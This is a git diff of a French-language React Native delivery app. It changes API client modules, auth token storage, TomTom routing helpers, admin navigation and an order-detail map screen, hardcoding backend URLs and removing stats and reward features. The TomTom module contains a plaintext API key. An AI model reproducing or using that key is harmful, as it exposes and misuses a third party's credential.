||||||
@@ -748,7 +695,7 @@ export const uploadProductMediaAdmin = async (
|
|||||||
const { data } = await apiClient.post(
|
const { data } = await apiClient.post(
|
||||||
`${V2}/admin/protected/products/${productId}/media`,
|
`${V2}/admin/protected/products/${productId}/media`,
|
||||||
fd,
|
fd,
|
||||||
{ timeout: 120000 },
|
{ headers: { "Content-Type": "multipart/form-data" }, timeout: 120000 },
|
||||||
);
|
);
|
||||||
return { success: true, media: data.media, message: data.message };
|
return { success: true, media: data.media, message: data.message };
|
||||||
};
|
};
|
||||||
@@ -763,20 +710,6 @@ export const deleteProductMediaAdmin = async (
|
|||||||
return { success: true, message: data.message };
|
return { success: true, message: data.message };
|
||||||
};
|
};
|
||||||
|
|
||||||
export const activateProductPrice = async (priceId: number) => {
|
|
||||||
const { data } = await apiClient.post(
|
|
||||||
`${V2}/admin/protected/active/product/price/${priceId}`,
|
|
||||||
);
|
|
||||||
return { success: true, message: data.message };
|
|
||||||
};
|
|
||||||
|
|
||||||
export const deactivateProductPrice = async (priceId: number) => {
|
|
||||||
const { data } = await apiClient.post(
|
|
||||||
`${V2}/admin/protected/desactive/product/price/${priceId}`,
|
|
||||||
);
|
|
||||||
return { success: true, message: data.message };
|
|
||||||
};
|
|
||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
// ADDRESSES
|
// ADDRESSES
|
||||||
// ============================================
|
// ============================================
|
||||||
@@ -916,26 +849,6 @@ export interface PointsTier {
|
|||||||
points: number;
|
points: number;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface RewardCategoryConfig {
|
|
||||||
category: string;
|
|
||||||
all_products: boolean;
|
|
||||||
product_ids: number[];
|
|
||||||
}
|
|
||||||
|
|
||||||
export interface RewardItem {
|
|
||||||
product_id: number;
|
|
||||||
quantity: number;
|
|
||||||
price: number;
|
|
||||||
}
|
|
||||||
|
|
||||||
export interface PointsReward {
|
|
||||||
threshold: number;
|
|
||||||
type: "free_product" | "half_price_product" | "custom";
|
|
||||||
description: string;
|
|
||||||
category_configs: RewardCategoryConfig[];
|
|
||||||
reward_items: RewardItem[];
|
|
||||||
}
|
|
||||||
|
|
||||||
export interface PointsPool {
|
export interface PointsPool {
|
||||||
key: string;
|
key: string;
|
||||||
name: string;
|
name: string;
|
||||||
@@ -1034,7 +947,6 @@ export interface AppSettings {
|
|||||||
penalty_tiers: PenaltyTier[];
|
penalty_tiers: PenaltyTier[];
|
||||||
points_enabled: boolean;
|
points_enabled: boolean;
|
||||||
points_pools: PointsPool[];
|
points_pools: PointsPool[];
|
||||||
points_reward?: PointsReward | null;
|
|
||||||
referral_enabled: boolean;
|
referral_enabled: boolean;
|
||||||
delivery_schedule: DeliverySchedule;
|
delivery_schedule: DeliverySchedule;
|
||||||
postal_zones: PostalZone[];
|
postal_zones: PostalZone[];
|
||||||
@@ -1049,7 +961,6 @@ export interface AppSettings {
|
|||||||
telegram_2fa_enabled: boolean;
|
telegram_2fa_enabled: boolean;
|
||||||
delivery_mode: DeliveryModeConfig;
|
delivery_mode: DeliveryModeConfig;
|
||||||
shop_name: string;
|
shop_name: string;
|
||||||
contact_telegram: string;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export const getSettings = async (): Promise<{
|
export const getSettings = async (): Promise<{
|
||||||
|
|||||||
@@ -1,7 +1,4 @@
|
|||||||
import apiClient from "./client";
|
import apiClient from "./client";
|
||||||
import { API_BASE_URL } from "./client";
|
|
||||||
|
|
||||||
//@ts
|
|
||||||
import type {
|
import type {
|
||||||
OrderItem,
|
OrderItem,
|
||||||
DeliveryPerson,
|
DeliveryPerson,
|
||||||
@@ -9,8 +6,8 @@ import type {
|
|||||||
Alert,
|
Alert,
|
||||||
} from "./types";
|
} from "./types";
|
||||||
|
|
||||||
const API = `${API_BASE_URL}/api/v1/cabine`;
|
const API = "https://mln-uber.club/api/v1/cabine";
|
||||||
const V2 = `${API_BASE_URL}/api/v2`;
|
const V2 = "https://mln-uber.club/api/v2";
|
||||||
|
|
||||||
export const getCommandItems = async (commandId: number) => {
|
export const getCommandItems = async (commandId: number) => {
|
||||||
const { data } = await apiClient.get(`${API}/commands/${commandId}/items`);
|
const { data } = await apiClient.get(`${API}/commands/${commandId}/items`);
|
||||||
@@ -42,6 +39,10 @@ export const confirmReceptionCabine = async (commandId: number) => {
|
|||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// PENALITES
|
||||||
|
// ============================================
|
||||||
|
|
||||||
export const applyClientPenalty = async (
|
export const applyClientPenalty = async (
|
||||||
clientUsername: string,
|
clientUsername: string,
|
||||||
reason: string,
|
reason: string,
|
||||||
@@ -69,6 +70,7 @@ export const resetClientPenalties = async (clientUsername: string) => {
|
|||||||
return { success: true, message: data.message };
|
return { success: true, message: data.message };
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// pool: index dans pool_names/pool_keys, -1 = reset tous les points
|
||||||
export const resetClientPoints = async (
|
export const resetClientPoints = async (
|
||||||
clientUsername: string,
|
clientUsername: string,
|
||||||
pool: number = -1,
|
pool: number = -1,
|
||||||
@@ -94,6 +96,10 @@ export const getPenaltiesStats = async () => {
|
|||||||
return { success: true, data: data.data };
|
return { success: true, data: data.data };
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// COMMANDES
|
||||||
|
// ============================================
|
||||||
|
|
||||||
export const getCancelledOrders = async () => {
|
export const getCancelledOrders = async () => {
|
||||||
const { data } = await apiClient.get(`${API}/commands/cancelled`);
|
const { data } = await apiClient.get(`${API}/commands/cancelled`);
|
||||||
return {
|
return {
|
||||||
@@ -194,7 +200,7 @@ export const getAllDeliveryPersonsWithDetails = async (): Promise<{
|
|||||||
users.map(async (u: any): Promise<DeliveryPerson> => {
|
users.map(async (u: any): Promise<DeliveryPerson> => {
|
||||||
try {
|
try {
|
||||||
const { data: details } = await apiClient.get(
|
const { data: details } = await apiClient.get(
|
||||||
`${API}/delivery-persons/${u.username}`,
|
`${V2}/admin/protected/delivery-persons/${u.username}`,
|
||||||
);
|
);
|
||||||
const d = details.deliveryman || details;
|
const d = details.deliveryman || details;
|
||||||
const parsedStatus = parseStatus(d.status);
|
const parsedStatus = parseStatus(d.status);
|
||||||
@@ -367,7 +373,7 @@ export const markCabineNotificationsRead = async (): Promise<void> => {
|
|||||||
export const getPublicSettings = async (): Promise<PublicSettings> => {
|
export const getPublicSettings = async (): Promise<PublicSettings> => {
|
||||||
try {
|
try {
|
||||||
const { data } = await apiClient.get(
|
const { data } = await apiClient.get(
|
||||||
`${API_BASE_URL}/api/v1/app-settings`,
|
`https://5.181.0.112.nip.io/api/v1/app-settings`,
|
||||||
);
|
);
|
||||||
return {
|
return {
|
||||||
penalties_enabled: data.penalties_enabled ?? true,
|
penalties_enabled: data.penalties_enabled ?? true,
|
||||||
@@ -427,41 +433,11 @@ export const getAllAddresses = async (): Promise<
|
|||||||
}));
|
}));
|
||||||
};
|
};
|
||||||
|
|
||||||
// ============================================
|
|
||||||
// COMMANDES — CABINE
|
|
||||||
// ============================================
|
|
||||||
|
|
||||||
export const getCabineCommands = async (): Promise<{
|
|
||||||
success: boolean;
|
|
||||||
commands: any[];
|
|
||||||
count: number;
|
|
||||||
}> => {
|
|
||||||
try {
|
|
||||||
const { data } = await apiClient.get(`${API}/commands`);
|
|
||||||
return { success: true, commands: data.commands || [], count: data.count || 0 };
|
|
||||||
} catch {
|
|
||||||
return { success: false, commands: [], count: 0 };
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// ============================================
|
|
||||||
// CLIENTS — CABINE
|
|
||||||
// ============================================
|
|
||||||
|
|
||||||
export const getCabineAllClients = async (): Promise<any[]> => {
|
|
||||||
try {
|
|
||||||
const { data } = await apiClient.get(`${API}/all/clients`);
|
|
||||||
return data.clients || [];
|
|
||||||
} catch {
|
|
||||||
return [];
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
// TELEGRAM — CABINE
|
// TELEGRAM — CABINE
|
||||||
// ============================================
|
// ============================================
|
||||||
|
|
||||||
const CABINE_API = `${API_BASE_URL}/api/v1/cabine`;
|
const CABINE_API = "https://5.181.0.112.nip.io/api/v1/cabine";
|
||||||
|
|
||||||
export const getCabineTelegramStatus = async (): Promise<{
|
export const getCabineTelegramStatus = async (): Promise<{
|
||||||
linked: boolean;
|
linked: boolean;
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
import apiClient from "./client";
|
import apiClient from "./client";
|
||||||
import { API_BASE_URL } from "./client";
|
|
||||||
import type {
|
import type {
|
||||||
DeliveryStatus,
|
DeliveryStatus,
|
||||||
QueueInfo,
|
QueueInfo,
|
||||||
@@ -8,7 +7,11 @@ import type {
|
|||||||
Alert,
|
Alert,
|
||||||
} from "./types";
|
} from "./types";
|
||||||
|
|
||||||
const API = `${API_BASE_URL}/api/v1/livreur`;
|
const API = "https://mln-uber.club/api/v1/livreur";
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// STATUT
|
||||||
|
// ============================================
|
||||||
|
|
||||||
export const getMyStatus = async (): Promise<{
|
export const getMyStatus = async (): Promise<{
|
||||||
success: boolean;
|
success: boolean;
|
||||||
@@ -42,6 +45,10 @@ export const updateMyStatus = async (
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// QUEUE
|
||||||
|
// ============================================
|
||||||
|
|
||||||
export const getMyQueue = async (): Promise<{
|
export const getMyQueue = async (): Promise<{
|
||||||
success: boolean;
|
success: boolean;
|
||||||
queue_info?: QueueInfo;
|
queue_info?: QueueInfo;
|
||||||
@@ -58,6 +65,10 @@ export const getMyQueue = async (): Promise<{
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// LIVRAISONS
|
||||||
|
// ============================================
|
||||||
|
|
||||||
export const getMyDeliveries = async (): Promise<{
|
export const getMyDeliveries = async (): Promise<{
|
||||||
success: boolean;
|
success: boolean;
|
||||||
deliveries?: DeliveryItem[];
|
deliveries?: DeliveryItem[];
|
||||||
@@ -372,28 +383,6 @@ export const ISSUE_LABELS: Record<IssueType, string> = {
|
|||||||
other: "Autre",
|
other: "Autre",
|
||||||
};
|
};
|
||||||
|
|
||||||
export type StatPoint = { label: string; count: number; revenue: number };
|
|
||||||
|
|
||||||
export const getMyStats = async (): Promise<{
|
|
||||||
success: boolean;
|
|
||||||
by_day?: StatPoint[];
|
|
||||||
by_week?: StatPoint[];
|
|
||||||
by_month?: StatPoint[];
|
|
||||||
error?: string;
|
|
||||||
}> => {
|
|
||||||
try {
|
|
||||||
const { data } = await apiClient.get(`${API}/stats`);
|
|
||||||
return {
|
|
||||||
success: true,
|
|
||||||
by_day: data.by_day || [],
|
|
||||||
by_week: data.by_week || [],
|
|
||||||
by_month: data.by_month || [],
|
|
||||||
};
|
|
||||||
} catch (error: any) {
|
|
||||||
return { success: false, error: error.response?.data?.error || "Erreur réseau" };
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
export const reportDeliveryIssue = async (
|
export const reportDeliveryIssue = async (
|
||||||
deliveryId: number,
|
deliveryId: number,
|
||||||
issueType: IssueType,
|
issueType: IssueType,
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
import axios from "axios";
|
import axios from "axios";
|
||||||
import { getToken, getAdminToken } from "../auth/tokenStorage";
|
import { getToken, getAdminToken } from "../auth/tokenStorage";
|
||||||
|
|
||||||
export const API_BASE_URL =
|
// Change this to your server IP/domain
|
||||||
process.env.EXPO_PUBLIC_API_URL ?? "https://mln-uber.club";
|
export const API_BASE_URL = "https://mln-uber.club";
|
||||||
|
|
||||||
const apiClient = axios.create({
|
const apiClient = axios.create({
|
||||||
baseURL: API_BASE_URL,
|
baseURL: API_BASE_URL,
|
||||||
@@ -12,6 +12,7 @@ const apiClient = axios.create({
|
|||||||
},
|
},
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// Request interceptor: attach JWT token
|
||||||
apiClient.interceptors.request.use(async (config) => {
|
apiClient.interceptors.request.use(async (config) => {
|
||||||
const isAdminRoute =
|
const isAdminRoute =
|
||||||
config.url?.includes("/api/v2/") ||
|
config.url?.includes("/api/v2/") ||
|
||||||
@@ -26,6 +27,7 @@ apiClient.interceptors.request.use(async (config) => {
|
|||||||
return config;
|
return config;
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// Response interceptor: handle common errors
|
||||||
apiClient.interceptors.response.use(
|
apiClient.interceptors.response.use(
|
||||||
(response) => response,
|
(response) => response,
|
||||||
(error) => {
|
(error) => {
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ import axios from "axios";
|
|||||||
|
|
||||||
const TOMTOM_API_KEY = "MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB";
|
const TOMTOM_API_KEY = "MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB";
|
||||||
|
|
||||||
|
// ---- Types ----
|
||||||
export interface LatLng {
|
export interface LatLng {
|
||||||
latitude: number;
|
latitude: number;
|
||||||
longitude: number;
|
longitude: number;
|
||||||
@@ -23,6 +24,7 @@ export interface NavigationInstruction {
|
|||||||
isActive: boolean;
|
isActive: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ---- Maneuver translations (FR) ----
|
||||||
export const maneuverTranslations: Record<string, string> = {
|
export const maneuverTranslations: Record<string, string> = {
|
||||||
TURN_LEFT: "Tournez à gauche",
|
TURN_LEFT: "Tournez à gauche",
|
||||||
TURN_RIGHT: "Tournez à droite",
|
TURN_RIGHT: "Tournez à droite",
|
||||||
@@ -46,6 +48,7 @@ export const maneuverTranslations: Record<string, string> = {
|
|||||||
WAYPOINT_REACHED: "Point de passage atteint",
|
WAYPOINT_REACHED: "Point de passage atteint",
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Ionicons name per maneuver
|
||||||
export const maneuverIcons: Record<string, string> = {
|
export const maneuverIcons: Record<string, string> = {
|
||||||
TURN_LEFT: "arrow-back",
|
TURN_LEFT: "arrow-back",
|
||||||
TURN_RIGHT: "arrow-forward",
|
TURN_RIGHT: "arrow-forward",
|
||||||
@@ -70,11 +73,13 @@ export const maneuverIcons: Record<string, string> = {
|
|||||||
DEFAULT: "arrow-up",
|
DEFAULT: "arrow-up",
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// ---- Helpers ----
|
||||||
function formatDistance(meters: number): string {
|
function formatDistance(meters: number): string {
|
||||||
if (meters < 1000) return `${Math.round(meters)} m`;
|
if (meters < 1000) return `${Math.round(meters)} m`;
|
||||||
return `${(meters / 1000).toFixed(1)} km`;
|
return `${(meters / 1000).toFixed(1)} km`;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ---- Geocode address → coords ----
|
||||||
export async function geocodeAddress(address: string): Promise<LatLng | null> {
|
export async function geocodeAddress(address: string): Promise<LatLng | null> {
|
||||||
try {
|
try {
|
||||||
const url = `https://api.tomtom.com/search/2/geocode/${encodeURIComponent(address)}.json?key=${TOMTOM_API_KEY}&limit=1`;
|
const url = `https://api.tomtom.com/search/2/geocode/${encodeURIComponent(address)}.json?key=${TOMTOM_API_KEY}&limit=1`;
|
||||||
@@ -91,6 +96,7 @@ export async function geocodeAddress(address: string): Promise<LatLng | null> {
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ---- Calculate route ----
|
||||||
export async function calculateRoute(
|
export async function calculateRoute(
|
||||||
origin: LatLng,
|
origin: LatLng,
|
||||||
destination: LatLng,
|
destination: LatLng,
|
||||||
|
|||||||
@@ -102,9 +102,8 @@ export interface Product {
|
|||||||
category: string;
|
category: string;
|
||||||
stock: number;
|
stock: number;
|
||||||
unit: string;
|
unit: string;
|
||||||
prices?: Array<{ id?: number; quantity: number; price: number; active_price?: boolean }>;
|
prices?: Array<{ quantity: number; price: number }>;
|
||||||
media?: Array<{ url: string; type: string; id?: number; created_at?: string }>;
|
media?: Array<{ url: string; type: string; id?: number; created_at?: string }>;
|
||||||
coming_soon?: boolean;
|
|
||||||
created_at?: string;
|
created_at?: string;
|
||||||
updated_at?: string;
|
updated_at?: string;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,35 +1,30 @@
|
|||||||
import AsyncStorage from "@react-native-async-storage/async-storage";
|
import AsyncStorage from '@react-native-async-storage/async-storage';
|
||||||
|
|
||||||
const TOKEN_KEY = "token";
|
const TOKEN_KEY = 'token';
|
||||||
const ADMIN_TOKEN_KEY = "admin_token";
|
const ADMIN_TOKEN_KEY = 'admin_token';
|
||||||
const USERNAME_KEY = "username";
|
const USERNAME_KEY = 'username';
|
||||||
const ADMIN_USERNAME_KEY = "admin_username";
|
const ADMIN_USERNAME_KEY = 'admin_username';
|
||||||
const ROLE_KEY = "user_role";
|
const ROLE_KEY = 'user_role';
|
||||||
|
|
||||||
// Token Client
|
// Client token
|
||||||
export const getToken = () => AsyncStorage.getItem(TOKEN_KEY);
|
export const getToken = () => AsyncStorage.getItem(TOKEN_KEY);
|
||||||
export const setToken = (token: string) =>
|
export const setToken = (token: string) => AsyncStorage.setItem(TOKEN_KEY, token);
|
||||||
AsyncStorage.setItem(TOKEN_KEY, token);
|
|
||||||
export const removeToken = () => AsyncStorage.removeItem(TOKEN_KEY);
|
export const removeToken = () => AsyncStorage.removeItem(TOKEN_KEY);
|
||||||
|
|
||||||
// Admin/Cabine/Livreur token
|
// Admin/Cabine/Livreur token
|
||||||
export const getAdminToken = () => AsyncStorage.getItem(ADMIN_TOKEN_KEY);
|
export const getAdminToken = () => AsyncStorage.getItem(ADMIN_TOKEN_KEY);
|
||||||
export const setAdminToken = (token: string) =>
|
export const setAdminToken = (token: string) => AsyncStorage.setItem(ADMIN_TOKEN_KEY, token);
|
||||||
AsyncStorage.setItem(ADMIN_TOKEN_KEY, token);
|
|
||||||
export const removeAdminToken = () => AsyncStorage.removeItem(ADMIN_TOKEN_KEY);
|
export const removeAdminToken = () => AsyncStorage.removeItem(ADMIN_TOKEN_KEY);
|
||||||
|
|
||||||
// Username
|
// Username
|
||||||
export const getUsername = () => AsyncStorage.getItem(USERNAME_KEY);
|
export const getUsername = () => AsyncStorage.getItem(USERNAME_KEY);
|
||||||
export const setUsername = (username: string) =>
|
export const setUsername = (username: string) => AsyncStorage.setItem(USERNAME_KEY, username);
|
||||||
AsyncStorage.setItem(USERNAME_KEY, username);
|
|
||||||
export const removeUsername = () => AsyncStorage.removeItem(USERNAME_KEY);
|
export const removeUsername = () => AsyncStorage.removeItem(USERNAME_KEY);
|
||||||
|
|
||||||
// Admin username
|
// Admin username
|
||||||
export const getAdminUsername = () => AsyncStorage.getItem(ADMIN_USERNAME_KEY);
|
export const getAdminUsername = () => AsyncStorage.getItem(ADMIN_USERNAME_KEY);
|
||||||
export const setAdminUsername = (username: string) =>
|
export const setAdminUsername = (username: string) => AsyncStorage.setItem(ADMIN_USERNAME_KEY, username);
|
||||||
AsyncStorage.setItem(ADMIN_USERNAME_KEY, username);
|
export const removeAdminUsername = () => AsyncStorage.removeItem(ADMIN_USERNAME_KEY);
|
||||||
export const removeAdminUsername = () =>
|
|
||||||
AsyncStorage.removeItem(ADMIN_USERNAME_KEY);
|
|
||||||
|
|
||||||
// Role
|
// Role
|
||||||
export const getRole = () => AsyncStorage.getItem(ROLE_KEY);
|
export const getRole = () => AsyncStorage.getItem(ROLE_KEY);
|
||||||
@@ -38,11 +33,11 @@ export const removeRole = () => AsyncStorage.removeItem(ROLE_KEY);
|
|||||||
|
|
||||||
// Clear all auth data
|
// Clear all auth data
|
||||||
export const clearAllAuth = async () => {
|
export const clearAllAuth = async () => {
|
||||||
await AsyncStorage.multiRemove([
|
await AsyncStorage.multiRemove([
|
||||||
TOKEN_KEY,
|
TOKEN_KEY,
|
||||||
ADMIN_TOKEN_KEY,
|
ADMIN_TOKEN_KEY,
|
||||||
USERNAME_KEY,
|
USERNAME_KEY,
|
||||||
ADMIN_USERNAME_KEY,
|
ADMIN_USERNAME_KEY,
|
||||||
ROLE_KEY,
|
ROLE_KEY,
|
||||||
]);
|
]);
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -24,7 +24,6 @@ import { fontSize, spacing } from "../theme";
|
|||||||
import type { AdminTabParamList, AdminStackParamList } from "./types";
|
import type { AdminTabParamList, AdminStackParamList } from "./types";
|
||||||
|
|
||||||
import DashboardScreen from "../screens/admin/DashboardScreen";
|
import DashboardScreen from "../screens/admin/DashboardScreen";
|
||||||
import StatsScreen from "../screens/admin/StatsScreen";
|
|
||||||
import OrdersScreen from "../screens/admin/OrdersScreen";
|
import OrdersScreen from "../screens/admin/OrdersScreen";
|
||||||
import OrderDetailScreen from "../screens/admin/OrderDetailScreen";
|
import OrderDetailScreen from "../screens/admin/OrderDetailScreen";
|
||||||
import UsersScreen from "../screens/admin/UsersScreen";
|
import UsersScreen from "../screens/admin/UsersScreen";
|
||||||
@@ -176,16 +175,6 @@ function AdminTabs() {
|
|||||||
),
|
),
|
||||||
}}
|
}}
|
||||||
/>
|
/>
|
||||||
<Tab.Screen
|
|
||||||
name="Stats"
|
|
||||||
component={StatsScreen}
|
|
||||||
options={{
|
|
||||||
title: "Stats",
|
|
||||||
tabBarIcon: ({ color, size }) => (
|
|
||||||
<Ionicons name="bar-chart-outline" size={size} color={color} />
|
|
||||||
),
|
|
||||||
}}
|
|
||||||
/>
|
|
||||||
<Tab.Screen
|
<Tab.Screen
|
||||||
name="Orders"
|
name="Orders"
|
||||||
component={OrdersScreen}
|
component={OrdersScreen}
|
||||||
|
|||||||
@@ -7,7 +7,6 @@ export type AuthStackParamList = {
|
|||||||
|
|
||||||
export type AdminTabParamList = {
|
export type AdminTabParamList = {
|
||||||
Dashboard: undefined;
|
Dashboard: undefined;
|
||||||
Stats: undefined;
|
|
||||||
Orders: undefined;
|
Orders: undefined;
|
||||||
Users: undefined;
|
Users: undefined;
|
||||||
Products: undefined;
|
Products: undefined;
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import {
|
|||||||
ScrollView,
|
ScrollView,
|
||||||
TouchableOpacity,
|
TouchableOpacity,
|
||||||
Modal,
|
Modal,
|
||||||
|
StatusBar,
|
||||||
Alert,
|
Alert,
|
||||||
useWindowDimensions,
|
useWindowDimensions,
|
||||||
} from "react-native";
|
} from "react-native";
|
||||||
@@ -15,7 +16,7 @@ import {
|
|||||||
type RouteProp,
|
type RouteProp,
|
||||||
} from "@react-navigation/native";
|
} from "@react-navigation/native";
|
||||||
import { Ionicons } from "@expo/vector-icons";
|
import { Ionicons } from "@expo/vector-icons";
|
||||||
import TomTomMap, { type TomTomMapRef, type TomTomMarker } from "../../components/TomTomMap";
|
import MapView, { Marker, Polyline, PROVIDER_DEFAULT } from "react-native-maps";
|
||||||
import { spacing, fontSize, borderRadius } from "../../theme";
|
import { spacing, fontSize, borderRadius } from "../../theme";
|
||||||
import { useTheme } from "../../context/ThemeContext";
|
import { useTheme } from "../../context/ThemeContext";
|
||||||
import {
|
import {
|
||||||
@@ -23,12 +24,13 @@ import {
|
|||||||
getCommandItems,
|
getCommandItems,
|
||||||
updateCommandStatus,
|
updateCommandStatus,
|
||||||
validateCommand,
|
validateCommand,
|
||||||
|
confirmReceptionAdmin,
|
||||||
notifyClientToDescend,
|
notifyClientToDescend,
|
||||||
getDeliveryPersonDetails,
|
getDeliveryPersonDetails,
|
||||||
deleteCommandItem,
|
deleteCommandItem,
|
||||||
deleteCommand,
|
deleteCommand,
|
||||||
} from "../../api/api_admin";
|
} from "../../api/api_admin";
|
||||||
import { calculateRoute, geocodeAddress } from "../../api/tomtom";
|
import { geocodeAddress, calculateRoute } from "../../api/tomtom";
|
||||||
import type { RouteInfo, LatLng } from "../../api/tomtom";
|
import type { RouteInfo, LatLng } from "../../api/tomtom";
|
||||||
import type { AdminStackParamList } from "../../navigation/types";
|
import type { AdminStackParamList } from "../../navigation/types";
|
||||||
import StatusBadge from "../../components/StatusBadge";
|
import StatusBadge from "../../components/StatusBadge";
|
||||||
@@ -53,12 +55,11 @@ export default function OrderDetailScreen() {
|
|||||||
const [showItemsModal, setShowItemsModal] = useState(false);
|
const [showItemsModal, setShowItemsModal] = useState(false);
|
||||||
|
|
||||||
// Map / tracking
|
// Map / tracking
|
||||||
const mapRef = useRef<TomTomMapRef | null>(null);
|
const mapRef = useRef<MapView | null>(null);
|
||||||
const fullscreenMapRef = useRef<TomTomMapRef | null>(null);
|
const fullscreenMapRef = useRef<MapView | null>(null);
|
||||||
const [mapFullscreen, setMapFullscreen] = useState(false);
|
const [mapFullscreen, setMapFullscreen] = useState(false);
|
||||||
const [livreurCoords, setLivreurCoords] = useState<LatLng | null>(null);
|
const [livreurCoords, setLivreurCoords] = useState<LatLng | null>(null);
|
||||||
const [destCoords, setDestCoords] = useState<LatLng | null>(null);
|
const [destCoords, setDestCoords] = useState<LatLng | null>(null);
|
||||||
const [livreurMarkers, setLivreurMarkers] = useState<TomTomMarker[]>([]);
|
|
||||||
const [routeInfo, setRouteInfo] = useState<RouteInfo | null>(null);
|
const [routeInfo, setRouteInfo] = useState<RouteInfo | null>(null);
|
||||||
const [mapLoading, setMapLoading] = useState(false);
|
const [mapLoading, setMapLoading] = useState(false);
|
||||||
const { alert, showError, showSuccess, hideAlert } = useAlert();
|
const { alert, showError, showSuccess, hideAlert } = useAlert();
|
||||||
@@ -71,7 +72,7 @@ export default function OrderDetailScreen() {
|
|||||||
getCommandItems(orderId),
|
getCommandItems(orderId),
|
||||||
]);
|
]);
|
||||||
setCommand(cmdRes.command);
|
setCommand(cmdRes.command);
|
||||||
setItems(itemsRes.items ?? []);
|
setItems(itemsRes.items);
|
||||||
|
|
||||||
// If livreur assigned, fetch their location and calc route
|
// If livreur assigned, fetch their location and calc route
|
||||||
const cmd = cmdRes.command;
|
const cmd = cmdRes.command;
|
||||||
@@ -98,21 +99,13 @@ export default function OrderDetailScreen() {
|
|||||||
return () => clearInterval(interval);
|
return () => clearInterval(interval);
|
||||||
}, [orderId]);
|
}, [orderId]);
|
||||||
|
|
||||||
// Rejoue la route sur la carte fullscreen quand elle s'ouvre
|
|
||||||
useEffect(() => {
|
|
||||||
if (mapFullscreen && livreurCoords && destCoords) {
|
|
||||||
setTimeout(() => {
|
|
||||||
fullscreenMapRef.current?.calcRoute(livreurCoords, destCoords);
|
|
||||||
}, 600);
|
|
||||||
}
|
|
||||||
}, [mapFullscreen]);
|
|
||||||
|
|
||||||
const loadLivreurRoute = async (
|
const loadLivreurRoute = async (
|
||||||
livreurUsername: string,
|
livreurUsername: string,
|
||||||
deliveryAddress: string,
|
deliveryAddress: string,
|
||||||
) => {
|
) => {
|
||||||
setMapLoading(true);
|
setMapLoading(true);
|
||||||
try {
|
try {
|
||||||
|
// Get livreur location
|
||||||
const details = await getDeliveryPersonDetails(livreurUsername);
|
const details = await getDeliveryPersonDetails(livreurUsername);
|
||||||
const loc = details?.location;
|
const loc = details?.location;
|
||||||
if (!loc?.latitude || !loc?.longitude) {
|
if (!loc?.latitude || !loc?.longitude) {
|
||||||
@@ -120,26 +113,24 @@ export default function OrderDetailScreen() {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
const origin: LatLng = { latitude: loc.latitude, longitude: loc.longitude };
|
const origin: LatLng = {
|
||||||
setLivreurCoords(origin);
|
|
||||||
setLivreurMarkers([{
|
|
||||||
id: livreurUsername,
|
|
||||||
latitude: loc.latitude,
|
latitude: loc.latitude,
|
||||||
longitude: loc.longitude,
|
longitude: loc.longitude,
|
||||||
color: "#22c55e",
|
};
|
||||||
label: livreurUsername,
|
setLivreurCoords(origin);
|
||||||
description: "Livreur",
|
|
||||||
}]);
|
|
||||||
|
|
||||||
// Dessine la route sur la carte et récupère les infos (distance/durée)
|
// Geocode destination
|
||||||
const dest = await geocodeAddress(deliveryAddress);
|
const dest = await geocodeAddress(deliveryAddress);
|
||||||
if (dest) {
|
if (!dest) {
|
||||||
setDestCoords(dest);
|
setMapLoading(false);
|
||||||
const result = await calculateRoute(origin, dest);
|
return;
|
||||||
if (result) {
|
}
|
||||||
setRouteInfo(result.route);
|
setDestCoords(dest);
|
||||||
mapRef.current?.calcRoute(origin, dest);
|
|
||||||
}
|
// Calculate route
|
||||||
|
const result = await calculateRoute(origin, dest);
|
||||||
|
if (result) {
|
||||||
|
setRouteInfo(result.route);
|
||||||
}
|
}
|
||||||
} catch {
|
} catch {
|
||||||
/* silent */
|
/* silent */
|
||||||
@@ -147,6 +138,27 @@ export default function OrderDetailScreen() {
|
|||||||
setMapLoading(false);
|
setMapLoading(false);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const fitMapToRoute = (ref: React.RefObject<MapView | null>) => {
|
||||||
|
if (ref.current && livreurCoords && destCoords) {
|
||||||
|
ref.current.fitToCoordinates(
|
||||||
|
[
|
||||||
|
{
|
||||||
|
latitude: livreurCoords.latitude,
|
||||||
|
longitude: livreurCoords.longitude,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
latitude: destCoords.latitude,
|
||||||
|
longitude: destCoords.longitude,
|
||||||
|
},
|
||||||
|
],
|
||||||
|
{
|
||||||
|
edgePadding: { top: 80, right: 60, bottom: 80, left: 60 },
|
||||||
|
animated: true,
|
||||||
|
},
|
||||||
|
);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
const handleValidate = async () => {
|
const handleValidate = async () => {
|
||||||
try {
|
try {
|
||||||
await validateCommand(orderId);
|
await validateCommand(orderId);
|
||||||
@@ -193,7 +205,7 @@ export default function OrderDetailScreen() {
|
|||||||
try {
|
try {
|
||||||
await deleteCommandItem(orderId, itemId);
|
